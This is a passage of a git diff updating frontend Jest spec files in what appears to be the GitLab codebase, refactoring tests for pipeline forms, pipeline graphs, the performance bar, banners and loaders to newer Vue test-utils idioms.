+ expect(findDesktopShapes().findAll('rect[width="1000"]')).toHaveLength(20);
+ });
+
+ it('has the correct classes', () => {
+ expect(findDesktopShapes().classes()).toEqual([
+ 'gl-display-none',
+ 'gl-display-sm-flex',
+ 'gl-flex-direction-column',
+ ]);
});
});
- describe('when used for groups', () => {
- beforeEach(() => {
- createComponent({ isGroup: true });
+ describe('mobile loader', () => {
+ it('produces the right loader', () => {
+ expect(findMobileShapes().findAll('rect[height="170"]')).toHaveLength(5);
});
- it('should return 5 rects with no square', () => {
- expect(getShapes()).toHaveLength(5);
- expect(findSquareButton().exists()).toBe(false);
+ it('has the correct classes', () => {
+ expect(findMobileShapes().classes()).toEqual([
+ 'gl-flex-direction-column',
+ 'gl-display-sm-none',
+ ]);
});
});
});
diff --git a/spec/frontend/packages/shared/components/publish_method_spec.js b/spec/frontend/packages/shared/components/publish_method_spec.js
index bb9287c1204..6014774990c 100644
--- a/spec/frontend/packages/shared/components/publish_method_spec.js
+++ b/spec/frontend/packages/shared/components/publish_method_spec.js
@@ -7,9 +7,9 @@ describe('publish_method', () => {
const [packageWithoutPipeline, packageWithPipeline] = packageList;
- const findPipelineRef = () => wrapper.find({ ref: 'pipeline-ref' });
- const findPipelineSha = () => wrapper.find({ ref: 'pipeline-sha' });
- const findManualPublish = () => wrapper.find({ ref: 'manual-ref' });
+ const findPipelineRef = () => wrapper.find('[data-testid="pipeline-ref"]');
+ const findPipelineSha = () => wrapper.find('[data-testid="pipeline-sha"]');
+ const findManualPublish = () => wrapper.find('[data-testid="manually-published"]');
const mountComponent = (packageEntity = {}, isGroup = false) => {
wrapper = shallowMount(PublishMethod, {
diff --git a/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap b/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
index fc37a545511..2fbc700d4f5 100644
--- a/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
+++ b/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
@@ -3,14 +3,15 @@
exports[`User Operation confirmation modal renders modal with form included 1`] = `
<div>
<p>
- content
+ <gl-sprintf-stub
+ message="content"
+ />
</p>
<p>
- To confirm, type
- <code>
- username
- </code>
+ <gl-sprintf-stub
+ message="To confirm, type %{username}"
+ />
</p>
<form
diff --git a/spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js b/spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js
index b3a297ac2c5..fbe2274c40d 100644
--- a/spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js
+++ b/spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js
@@ -1,6 +1,7 @@
import { shallowMount } from '@vue/test-utils';
import { GlBanner } from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
+import { mockTracking, unmockTracking, triggerEvent } from 'helpers/tracking_helper';
import CustomizeHomepageBanner from '~/pages/dashboard/projects/index/components/customize_homepage_banner.vue';
import axios from '~/lib/utils/axios_utils';
@@ -10,18 +11,22 @@ const provide = {
preferencesBehaviorPath: 'some/behavior/path',
calloutsPath: 'call/out/path',
calloutsFeatureId: 'some-feature-id',
+ trackLabel: 'home_page',
};
const createComponent = () => {
- return shallowMount(CustomizeHomepageBanner, { provide });
+ return shallowMount(CustomizeHomepageBanner, { provide, stubs: { GlBanner } });
};
describe('CustomizeHomepageBanner', () => {
+ let trackingSpy;
let mockAxios;
let wrapper;
beforeEach(() => {
mockAxios = new MockAdapter(axios);
+ document.body.dataset.page = 'some:page';
+ trackingSpy = mockTracking('_category_', undefined, jest.spyOn);
wrapper = createComponent();
});
@@ -29,22 +34,75 @@ describe('CustomizeHomepageBanner', () => {
wrapper.destroy();
wrapper = null;
mockAxios.restore();
+ unmockTracking();
});
it('should render the banner when not dismissed', () => {
- expect(wrapper.contains(GlBanner)).toBe(true);
+ expect(wrapper.find(GlBanner).exists()).toBe(true);
});
it('should close the banner when dismiss is clicked', async () => {
mockAxios.onPost(provide.calloutsPath).replyOnce(200);
- expect(wrapper.contains(GlBanner)).toBe(true);
+ expect(wrapper.find(GlBanner).exists()).toBe(true);
wrapper.find(GlBanner).vm.$emit('close');
await wrapper.vm.$nextTick();
- expect(wrapper.contains(GlBanner)).toBe(false);
+ expect(wrapper.find(GlBanner).exists()).toBe(false);
});
it('includes the body text from options', () => {
expect(wrapper.html()).toContain(wrapper.vm.$options.i18n.body);
});
+
+ describe('tracking', () => {
+ const preferencesTrackingEvent = 'click_go_to_preferences';
+ const mockTrackingOnWrapper = () => {
+ unmockTracking();
+ trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
+ };
+
+ it('sets the needed data attributes for tracking button', async () => {
+ await wrapper.vm.$nextTick();
+ const button = wrapper.find(`[href='${wrapper.vm.preferencesBehaviorPath}']`);
+
+ expect(button.attributes('data-track-event')).toEqual(preferencesTrackingEvent);
+ expect(button.attributes('data-track-label')).toEqual(provide.trackLabel);
+ });
+
+ it('sends a tracking event when the banner is shown', () => {
+ const trackCategory = undefined;
+ const trackEvent = 'show_home_page_banner';
+
+ expect(trackingSpy).toHaveBeenCalledWith(trackCategory, trackEvent, {
+ label: provide.trackLabel,
+ });
+ });
+
+ it('sends a tracking event when the banner is dismissed', async () => {
+ mockTrackingOnWrapper();
+ mockAxios.onPost(provide.calloutsPath).replyOnce(200);
+ const trackCategory = undefined;
+ const trackEvent = 'click_dismiss';
+
+ wrapper.find(GlBanner).vm.$emit('close');
+
+ await wrapper.vm.$nextTick();
+ expect(trackingSpy).toHaveBeenCalledWith(trackCategory, trackEvent, {
+ label: provide.trackLabel,
+ });
+ });
+
+ it('sends a tracking event when the button is clicked', async () => {
+ mockTrackingOnWrapper();
+ mockAxios.onPost(provide.calloutsPath).replyOnce(200);
+ const button = wrapper.find(`[href='${wrapper.vm.preferencesBehaviorPath}']`);
+
+ triggerEvent(button.element);
+
+ await wrapper.vm.$nextTick();
+ expect(trackingSpy).toHaveBeenCalledWith('_category_', preferencesTrackingEvent, {
+ label: provide.trackLabel,
+ });
+ });
+ });
});
diff --git a/spec/frontend/pages/dashboard/todos/index/todos_spec.js b/spec/frontend/pages/dashboard/todos/index/todos_spec.js
index 204fe3d0a68..5ecb7860103 100644
--- a/spec/frontend/pages/dashboard/todos/index/todos_spec.js
+++ b/spec/frontend/pages/dashboard/todos/index/todos_spec.js
@@ -2,7 +2,6 @@ import $ from 'jquery';
import MockAdapter from 'axios-mock-adapter';
import Todos from '~/pages/dashboard/todos/index/todos';
import '~/lib/utils/common_utils';
-import '~/gl_dropdown';
import axios from '~/lib/utils/axios_utils';
import { addDelimiter } from '~/lib/utils/text_utility';
import { visitUrl } from '~/lib/utils/url_utility';
diff --git a/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js b/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js
index 0bb96ee33d4..67ace608127 100644
--- a/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js
+++ b/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js
@@ -36,7 +36,7 @@ describe('BitbucketServerStatusTable', () => {
it('renders bitbucket status table component', () => {
createComponent();
- expect(wrapper.contains(BitbucketStatusTable)).toBe(true);
+ expect(wrapper.find(BitbucketStatusTable).exists()).toBe(true);
});
it('renders Reconfigure button', async () => {
diff --git a/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js b/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js
index 2ec608569e3..9993e4da980 100644
--- a/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js
@@ -70,7 +70,7 @@ describe('Fork groups list component', () => {
replyWith(() => new Promise(() => {}));
createWrapper();
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
it('displays empty text if no groups are available', async () => {
@@ -89,7 +89,7 @@ describe('Fork groups list component', () => {
await waitForPromises();
- expect(wrapper.contains(GlSearchBoxByType)).toBe(true);
+ expect(wrapper.find(GlSearchBoxByType).exists()).toBe(true);
});
it('renders list items for each available group', async () => {
diff --git a/spec/frontend/pages/projects/graphs/code_coverage_spec.js b/spec/frontend/pages/projects/graphs/code_coverage_spec.js
index 54a080fb62b..8884f7815ab 100644
--- a/spec/frontend/pages/projects/graphs/code_coverage_spec.js
+++ b/spec/frontend/pages/projects/graphs/code_coverage_spec.js
@@ -124,7 +124,7 @@ describe('Code Coverage', () => {
});
it('renders the dropdown with all custom names as options', () => {
- expect(wrapper.contains(GlDeprecatedDropdown)).toBeDefined();
+ expect(wrapper.find(GlDeprecatedDropdown).exists()).toBeDefined();
expect(findAllDropdownItems()).toHaveLength(codeCoverageMockData.length);
expect(findFirstDropdownItem().text()).toBe(codeCoverageMockData[0].group_name);
});
@@ -150,7 +150,11 @@ describe('Code Coverage', () => {
.find(GlIcon)
.exists(),
).toBe(false);
- expect(findSecondDropdownItem().contains(GlIcon)).toBe(true);
+ expect(
+ findSecondDropdownItem()
+ .find(GlIcon)
+ .exists(),
+ ).toBe(true);
});
it('updates the graph data when selecting a different option in dropdown', async () => {
diff --git a/spec/frontend/pages/projects/pipeline_schedules/shared/components/timezone_dropdown_spec.js b/spec/frontend/pages/projects/pipeline_schedules/shared/components/timezone_dropdown_spec.js
index 4c73225b54c..5efcedf678b 100644
--- a/spec/frontend/pages/projects/pipeline_schedules/shared/components/timezone_dropdown_spec.js
+++ b/spec/frontend/pages/projects/pipeline_schedules/shared/components/timezone_dropdown_spec.js
@@ -1,5 +1,4 @@
import $ from 'jquery';
-import '~/gl_dropdown';
import TimezoneDropdown, {
formatUtcOffset,
formatTimezone,
diff --git a/spec/frontend/pages/projects/shared/permissions/components/project_feature_settings_spec.js b/spec/frontend/pages/projects/shared/permissions/components/project_feature_settings_spec.js
index 8ab5426a005..1fd9d285610 100644
--- a/spec/frontend/pages/projects/shared/permissions/components/project_feature_settings_spec.js
+++ b/spec/frontend/pages/projects/shared/permissions/components/project_feature_settings_spec.js
@@ -27,14 +27,14 @@ describe('Project Feature Settings', () => {
describe('Hidden name input', () => {
it('should set the hidden name input if the name exists', () => {
- expect(wrapper.find({ name: 'Test' }).props().value).toBe(1);
+ expect(wrapper.find(`input[name=${defaultProps.name}]`).attributes().value).toBe('1');
});
it('should not set the hidden name input if the name does not exist', () => {
wrapper.setProps({ name: null });
return wrapper.vm.$nextTick(() => {
- expect(wrapper.find({ name: 'Test' }).exists()).toBe(false);
+ expect(wrapper.find(`input[name=${defaultProps.name}]`).exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
index a50ceed5d09..e760cead760 100644
--- a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
+++ b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
@@ -40,7 +40,7 @@ const defaultProps = {
pagesAvailable: true,
pagesAccessControlEnabled: false,
pagesAccessControlForced: false,
- pagesHelpPath: '/help/user/project/pages/introduction#gitlab-pages-access-control-core',
+ pagesHelpPath: '/help/user/project/pages/introduction#gitlab-pages-access-control',
packagesAvailable: false,
packagesHelpPath: '/help/user/packages/index',
};
diff --git a/spec/frontend/performance_bar/components/detailed_metric_spec.js b/spec/frontend/performance_bar/components/detailed_metric_spec.js
index b9dc4c9588c..ff51b1184cb 100644
--- a/spec/frontend/performance_bar/components/detailed_metric_spec.js
+++ b/spec/frontend/performance_bar/components/detailed_metric_spec.js
@@ -30,7 +30,7 @@ describe('detailedMetric', () => {
});
it('does not render the element', () => {
- expect(wrapper.isEmpty()).toBe(true);
+ expect(wrapper.html()).toBe('');
});
});
diff --git a/spec/frontend/performance_bar/components/request_warning_spec.js b/spec/frontend/performance_bar/components/request_warning_spec.js
index 21f7bdf01f3..d558c7b018a 100644
--- a/spec/frontend/performance_bar/components/request_warning_spec.js
+++ b/spec/frontend/performance_bar/components/request_warning_spec.js
@@ -27,7 +27,7 @@ describe('request warning', () => {
});
it('does nothing', () => {
- expect(wrapper.isEmpty()).toBe(true);
+ expect(wrapper.html()).toBe('');
});
});
});
diff --git a/spec/frontend/performance_bar/index_spec.js b/spec/frontend/performance_bar/index_spec.js
index 621c7d87a7e..1517142c21e 100644
--- a/spec/frontend/performance_bar/index_spec.js
+++ b/spec/frontend/performance_bar/index_spec.js
@@ -44,7 +44,7 @@ describe('performance bar wrapper', () => {
{},
);
- vm = performanceBar({ container: '#js-peek' });
+ vm = performanceBar(peekWrapper);
});
afterEach(() => {
diff --git a/spec/frontend/performance_bar/services/performance_bar_service_spec.js b/spec/frontend/performance_bar/services/performance_bar_service_spec.js
index cfec4b779e4..36bfd575c12 100644
--- a/spec/frontend/performance_bar/services/performance_bar_service_spec.js
+++ b/spec/frontend/performance_bar/services/performance_bar_service_spec.js
@@ -9,18 +9,12 @@ describe('PerformanceBarService', () => {
it('returns false when the request URL is the peek URL', () => {
expect(
- fireCallback({ headers: { 'x-request-id': '123' }, url: '/peek' }, '/peek'),
- ).toBeFalsy();
+ fireCallback({ headers: { 'x-request-id': '123' }, config: { url: '/peek' } }, '/peek'),
+ ).toBe(false);
});
it('returns false when there is no request ID', () => {
- expect(fireCallback({ headers: {}, url: '/request' }, '/peek')).toBeFalsy();
- });
-
- it('returns false when the request is an API request', () => {
- expect(
- fireCallback({ headers: { 'x-request-id': '123' }, url: '/api/' }, '/peek'),
- ).toBeFalsy();
+ expect(fireCallback({ headers: {}, config: { url: '/request' } }, '/peek')).toBe(false);
});
it('returns false when the response is from the cache', () => {
@@ -29,13 +23,22 @@ describe('PerformanceBarService', () => {
{ headers: { 'x-request-id': '123', 'x-gitlab-from-cache': 'true' }, url: '/request' },
'/peek',
),
- ).toBeFalsy();
+ ).toBe(false);
+ });
+
+ it('returns true when the request is an API request', () => {
+ expect(
+ fireCallback({ headers: { 'x-request-id': '123' }, config: { url: '/api/' } }, '/peek'),
+ ).toBe(true);
});
- it('returns true when all conditions are met', () => {
+ it('returns true for all other requests', () => {
expect(
- fireCallback({ headers: { 'x-request-id': '123' }, url: '/request' }, '/peek'),
- ).toBeTruthy();
+ fireCallback(
+ { headers: { 'x-request-id': '123' }, config: { url: '/request' } },
+ '/peek',
+ ),
+ ).toBe(true);
});
});
@@ -45,7 +48,7 @@ describe('PerformanceBarService', () => {
}
it('gets the request ID from the headers', () => {
- expect(requestId({ headers: { 'x-request-id': '123' } }, '/peek')).toEqual('123');
+ expect(requestId({ headers: { 'x-request-id': '123' } }, '/peek')).toBe('123');
});
});
@@ -54,14 +57,10 @@ describe('PerformanceBarService', () => {
return PerformanceBarService.callbackParams(response, peekUrl)[2];
}
- it('gets the request URL from the response object', () => {
- expect(requestUrl({ headers: {}, url: '/request' }, '/peek')).toEqual('/request');
- });
-
- it('gets the request URL from response.config if present', () => {
- expect(
- requestUrl({ headers: {}, config: { url: '/config-url' }, url: '/request' }, '/peek'),
- ).toEqual('/config-url');
+ it('gets the request URL from response.config', () => {
+ expect(requestUrl({ headers: {}, config: { url: '/config-url' } }, '/peek')).toBe(
+ '/config-url',
+ );
});
});
});
diff --git a/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js b/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
index d1e6b6b938a..97a92778f1a 100644
--- a/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
+++ b/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
@@ -1,31 +1,48 @@
import { mount, shallowMount } from '@vue/test-utils';
-import { GlNewDropdown, GlNewDropdownItem, GlForm } from '@gitlab/ui';
-import Api from '~/api';
+import { GlDropdown, GlDropdownItem, GlForm, GlSprintf } from '@gitlab/ui';
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import axios from '~/lib/utils/axios_utils';
import PipelineNewForm from '~/pipeline_new/components/pipeline_new_form.vue';
-import { mockRefs, mockParams, mockPostParams, mockProjectId } from '../mock_data';
+import { mockRefs, mockParams, mockPostParams, mockProjectId, mockError } from '../mock_data';
+import { redirectTo } from '~/lib/utils/url_utility';
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ redirectTo: jest.fn(),
+}));
+
+const pipelinesPath = '/root/project/-/pipleines';
+const postResponse = { id: 1 };
describe('Pipeline New Form', () => {
let wrapper;
+ let mock;
const dummySubmitEvent = {
preventDefault() {},
};
const findForm = () => wrapper.find(GlForm);
- const findDropdown = () => wrapper.find(GlNewDropdown);
- const findDropdownItems = () => wrapper.findAll(GlNewDropdownItem);
+ const findDropdown = () => wrapper.find(GlDropdown);
+ const findDropdownItems = () => wrapper.findAll(GlDropdownItem);
const findVariableRows = () => wrapper.findAll('[data-testid="ci-variable-row"]');
const findRemoveIcons = () => wrapper.findAll('[data-testid="remove-ci-variable-row"]');
const findKeyInputs = () => wrapper.findAll('[data-testid="pipeline-form-ci-variable-key"]');
+ const findErrorAlert = () => wrapper.find('[data-testid="run-pipeline-error-alert"]');
+ const findWarningAlert = () => wrapper.find('[data-testid="run-pipeline-warning-alert"]');
+ const findWarningAlertSummary = () => findWarningAlert().find(GlSprintf);
+ const findWarnings = () => wrapper.findAll('[data-testid="run-pipeline-warning"]');
+ const getExpectedPostParams = () => JSON.parse(mock.history.post[0].data);
const createComponent = (term = '', props = {}, method = shallowMount) => {
wrapper = method(PipelineNewForm, {
propsData: {
projectId: mockProjectId,
- pipelinesPath: '',
+ pipelinesPath,
refs: mockRefs,
defaultBranch: 'master',
settingsLink: '',
+ maxWarnings: 25,
...props,
},
data() {
@@ -37,24 +54,30 @@ describe('Pipeline New Form', () => {
};
beforeEach(() => {
- jest.spyOn(Api, 'createPipeline').mockResolvedValue({ data: { web_url: '/' } });
+ mock = new MockAdapter(axios);
});
afterEach(() => {
wrapper.destroy();
wrapper = null;
+
+ mock.restore();
});
describe('Dropdown with branches and tags', () => {
+ beforeEach(() => {
+ mock.onPost(pipelinesPath).reply(200, postResponse);
+ });
+
it('displays dropdown with all branches and tags', () => {
createComponent();
- expect(findDropdownItems().length).toBe(mockRefs.length);
+ expect(findDropdownItems()).toHaveLength(mockRefs.length);
});
it('when user enters search term the list is filtered', () => {
createComponent('master');
- expect(findDropdownItems().length).toBe(1);
+ expect(findDropdownItems()).toHaveLength(1);
expect(
findDropdownItems()
.at(0)
@@ -66,43 +89,78 @@ describe('Pipeline New Form', () => {
describe('Form', () => {
beforeEach(() => {
createComponent('', mockParams, mount);
+
+ mock.onPost(pipelinesPath).reply(200, postResponse);
});
- it('displays the correct values for the provided query params', () => {
+ it('displays the correct values for the provided query params', async () => {
expect(findDropdown().props('text')).toBe('tag-1');
- return wrapper.vm.$nextTick().then(() => {
- expect(findVariableRows().length).toBe(3);
- });
+ await wrapper.vm.$nextTick();
+
+ expect(findVariableRows()).toHaveLength(3);
});
it('does not display remove icon for last row', () => {
- expect(findRemoveIcons().length).toBe(2);
+ expect(findRemoveIcons()).toHaveLength(2);
});
- it('removes ci variable row on remove icon button click', () => {
+ it('removes ci variable row on remove icon button click', async () => {
findRemoveIcons()
.at(1)
.trigger('click');
- return wrapper.vm.$nextTick().then(() => {
- expect(findVariableRows().length).toBe(2);
- });
+ await wrapper.vm.$nextTick();
+
+ expect(findVariableRows()).toHaveLength(2);
});
- it('creates a pipeline on submit', () => {
+ it('creates a pipeline on submit', async () => {
findForm().vm.$emit('submit', dummySubmitEvent);
- expect(Api.createPipeline).toHaveBeenCalledWith(mockProjectId, mockPostParams);
+ await waitForPromises();
+
+ expect(getExpectedPostParams()).toEqual(mockPostParams);
+ expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${postResponse.id}`);
});
- it('creates blank variable on input change event', () => {
+ it('creates blank variable on input change event', async () => {
findKeyInputs()
.at(2)
.trigger('change');
- return wrapper.vm.$nextTick().then(() => {
- expect(findVariableRows().length).toBe(4);
- });
+ await wrapper.vm.$nextTick();
+
+ expect(findVariableRows()).toHaveLength(4);
+ });
+ });
+
+ describe('Form errors and warnings', () => {
+ beforeEach(() => {
+ createComponent();
+
+ mock.onPost(pipelinesPath).reply(400, mockError);
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+
+ return waitForPromises();
+ });
+
+ it('shows both error and warning', () => {
+ expect(findErrorAlert().exists()).toBe(true);
+ expect(findWarningAlert().exists()).toBe(true);
+ });
+
+ it('shows the correct error', () => {
+ expect(findErrorAlert().text()).toBe(mockError.errors[0]);
+ });
+
+ it('shows the correct warning title', () => {
+ const { length } = mockError.warnings;
+ expect(findWarningAlertSummary().attributes('message')).toBe(`${length} warnings found:`);
+ });
+
+ it('shows the correct amount of warnings', () => {
+ expect(findWarnings()).toHaveLength(mockError.warnings.length);
});
});
});
diff --git a/spec/frontend/pipeline_new/mock_data.js b/spec/frontend/pipeline_new/mock_data.js
index 55ec1fb5afc..55286e0ec7e 100644
--- a/spec/frontend/pipeline_new/mock_data.js
+++ b/spec/frontend/pipeline_new/mock_data.js
@@ -19,3 +19,15 @@ export const mockPostParams = {
{ key: 'test_file', value: 'test_file_val', variable_type: 'file' },
],
};
+
+export const mockError = {
+ errors: [
+ 'test job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post',
+ ],
+ warnings: [
+ 'jobs:build1 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
+ 'jobs:build2 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
+ 'jobs:build3 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
+ ],
+ total_warnings: 7,
+};
diff --git a/spec/frontend/pipelines/components/pipelines_filtered_search_spec.js b/spec/frontend/pipelines/components/pipelines_filtered_search_spec.js
index c5b7318d3af..8a6586a7d7d 100644
--- a/spec/frontend/pipelines/components/pipelines_filtered_search_spec.js
+++ b/spec/frontend/pipelines/components/pipelines_filtered_search_spec.js
@@ -47,9 +47,6 @@ describe('Pipelines filtered search', () => {
});
it('displays UI elements', () => {
- expect(wrapper.isVueInstance()).toBe(true);
- expect(wrapper.isEmpty()).toBe(false);
-
expect(findFilteredSearch().exists()).toBe(true);
});
diff --git a/spec/frontend/pipelines/graph/graph_component_spec.js b/spec/frontend/pipelines/graph/graph_component_spec.js
index 1389649abea..d977db58a0e 100644
--- a/spec/frontend/pipelines/graph/graph_component_spec.js
+++ b/spec/frontend/pipelines/graph/graph_component_spec.js
@@ -16,6 +16,9 @@ describe('graph component', () => {
let wrapper;
+ const findExpandPipelineBtn = () => wrapper.find('[data-testid="expandPipelineButton"]');
+ const findAllExpandPipelineBtns = () => wrapper.findAll('[data-testid="expandPipelineButton"]');
+
beforeEach(() => {
setHTMLFixture('<div class="layout-page"></div>');
});
@@ -167,7 +170,7 @@ describe('graph component', () => {
describe('triggered by', () => {
describe('on click', () => {
it('should emit `onClickTriggeredBy` when triggered by linked pipeline is clicked', () => {
- const btnWrapper = wrapper.find('.linked-pipeline-content');
+ const btnWrapper = findExpandPipelineBtn();
btnWrapper.trigger('click');
@@ -213,7 +216,7 @@ describe('graph component', () => {
),
});
- const btnWrappers = wrapper.findAll('.linked-pipeline-content');
+ const btnWrappers = findAllExpandPipelineBtns();
const downstreamBtnWrapper = btnWrappers.at(btnWrappers.length - 1);
downstreamBtnWrapper.trigger('click');
diff --git a/spec/frontend/pipelines/graph/job_item_spec.js b/spec/frontend/pipelines/graph/job_item_spec.js
index 2c5e7a1f6e9..e844cbc5bf8 100644
--- a/spec/frontend/pipelines/graph/job_item_spec.js
+++ b/spec/frontend/pipelines/graph/job_item_spec.js
@@ -6,6 +6,7 @@ describe('pipeline graph job item', () => {
let wrapper;
const findJobWithoutLink = () => wrapper.find('[data-testid="job-without-link"]');
+ const findJobWithLink = () => wrapper.find('[data-testid="job-with-link"]');
const createWrapper = propsData => {
wrapper = mount(JobItem, {
@@ -13,6 +14,7 @@ describe('pipeline graph job item', () => {
});
};
+ const triggerActiveClass = 'gl-shadow-x0-y0-b3-s1-blue-500';
const delayedJobFixture = getJSONFixture('jobs/delayed.json');
const mockJob = {
id: 4256,
@@ -33,6 +35,18 @@ describe('pipeline graph job item', () => {
},
},
};
+ const mockJobWithoutDetails = {
+ id: 4257,
+ name: 'job_without_details',
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ details_path: '/root/ci-mock/builds/4257',
+ has_details: false,
+ },
+ };
afterEach(() => {
wrapper.destroy();
@@ -47,7 +61,7 @@ describe('pipeline graph job item', () => {
expect(link.attributes('href')).toBe(mockJob.status.details_path);
- expect(link.attributes('title')).toEqual(`${mockJob.name} - ${mockJob.status.label}`);
+ expect(link.attributes('title')).toBe(`${mockJob.name} - ${mockJob.status.label}`);
expect(wrapper.find('.ci-status-icon-success').exists()).toBe(true);
@@ -61,18 +75,7 @@ describe('pipeline graph job item', () => {
describe('name without link', () => {
beforeEach(() => {
createWrapper({
- job: {
- id: 4257,
- name: 'test',
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- details_path: '/root/ci-mock/builds/4257',
- has_details: false,
- },
- },
+ job: mockJobWithoutDetails,
cssClassJobName: 'css-class-job-name',
jobHovered: 'test',
});
@@ -82,11 +85,10 @@ describe('pipeline graph job item', () => {
expect(wrapper.find('.ci-status-icon-success').exists()).toBe(true);
expect(wrapper.find('a').exists()).toBe(false);
- expect(trimText(wrapper.find('.ci-status-text').text())).toEqual(mockJob.name);
+ expect(trimText(wrapper.find('.ci-status-text').text())).toBe(mockJobWithoutDetails.name);
});
it('should apply hover class and provided class name', () => {
- expect(findJobWithoutLink().classes()).toContain('gl-inset-border-1-blue-500');
expect(findJobWithoutLink().classes()).toContain('css-class-job-name');
});
});
@@ -137,9 +139,7 @@ describe('pipeline graph job item', () => {
},
});
- expect(wrapper.find('.js-job-component-tooltip').attributes('title')).toEqual(
- 'test - success',
- );
+ expect(wrapper.find('.js-job-component-tooltip').attributes('title')).toBe('test - success');
});
});
@@ -149,9 +149,39 @@ describe('pipeline graph job item', () => {
job: delayedJobFixture,
});
- expect(wrapper.find('.js-pipeline-graph-job-link').attributes('title')).toEqual(
+ expect(findJobWithLink().attributes('title')).toBe(
`delayed job - delayed manual action (${wrapper.vm.remainingTime})`,
);
});
});
+
+ describe('trigger job highlighting', () => {
+ it.each`
+ job | jobName | expanded | link
+ ${mockJob} | ${mockJob.name} | ${true} | ${true}
+ ${mockJobWithoutDetails} | ${mockJobWithoutDetails.name} | ${true} | ${false}
+ `(
+ `trigger job should stay highlighted when downstream is expanded`,
+ ({ job, jobName, expanded, link }) => {
+ createWrapper({ job, pipelineExpanded: { jobName, expanded } });
+ const findJobEl = link ? findJobWithLink : findJobWithoutLink;
+
+ expect(findJobEl().classes()).toContain(triggerActiveClass);
+ },
+ );
+
+ it.each`
+ job | jobName | expanded | link
+ ${mockJob} | ${mockJob.name} | ${false} | ${true}
+ ${mockJobWithoutDetails} | ${mockJobWithoutDetails.name} | ${false} | ${false}
+ `(
+ `trigger job should not be highlighted when downstream is not expanded`,
+ ({ job, jobName, expanded, link }) => {
+ createWrapper({ job, pipelineExpanded: { jobName, expanded } });
+ const findJobEl = link ? findJobWithLink : findJobWithoutLink;
+
+ expect(findJobEl().classes()).not.toContain(triggerActiveClass);
+ },
+ );
+ });
});
diff --git a/spec/frontend/pipelines/graph/linked_pipeline_spec.js b/spec/frontend/pipelines/graph/linked_pipeline_spec.js
index 59121c54ff3..8e65f0d4f71 100644
--- a/spec/frontend/pipelines/graph/linked_pipeline_spec.js
+++ b/spec/frontend/pipelines/graph/linked_pipeline_spec.js
@@ -1,5 +1,5 @@
import { mount } from '@vue/test-utils';
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlLoadingIcon } from '@gitlab/ui';
import LinkedPipelineComponent from '~/pipelines/components/graph/linked_pipeline.vue';
import CiStatus from '~/vue_shared/components/ci_icon.vue';
@@ -16,10 +16,18 @@ describe('Linked pipeline', () => {
const findButton = () => wrapper.find(GlButton);
const findPipelineLabel = () => wrapper.find('[data-testid="downstream-pipeline-label"]');
const findLinkedPipeline = () => wrapper.find({ ref: 'linkedPipeline' });
+ const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ const findPipelineLink = () => wrapper.find('[data-testid="pipelineLink"]');
+ const findExpandButton = () => wrapper.find('[data-testid="expandPipelineButton"]');
- const createWrapper = propsData => {
+ const createWrapper = (propsData, data = []) => {
wrapper = mount(LinkedPipelineComponent, {
propsData,
+ data() {
+ return {
+ ...data,
+ };
+ },
});
};
@@ -39,7 +47,7 @@ describe('Linked pipeline', () => {
});
it('should render a list item as the containing element', () => {
- expect(wrapper.is('li')).toBe(true);
+ expect(wrapper.element.tagName).toBe('LI');
});
it('should render a button', () => {
@@ -76,7 +84,7 @@ describe('Linked pipeline', () => {
});
it('should render the tooltip text as the title attribute', () => {
- const titleAttr = findButton().attributes('title');
+ const titleAttr = findLinkedPipeline().attributes('title');
expect(titleAttr).toContain(mockPipeline.project.name);
expect(titleAttr).toContain(mockPipeline.details.status.label);
@@ -117,6 +125,56 @@ describe('Linked pipeline', () => {
createWrapper(upstreamProps);
expect(findPipelineLabel().exists()).toBe(true);
});
+
+ it('downstream pipeline should contain the correct link', () => {
+ createWrapper(downstreamProps);
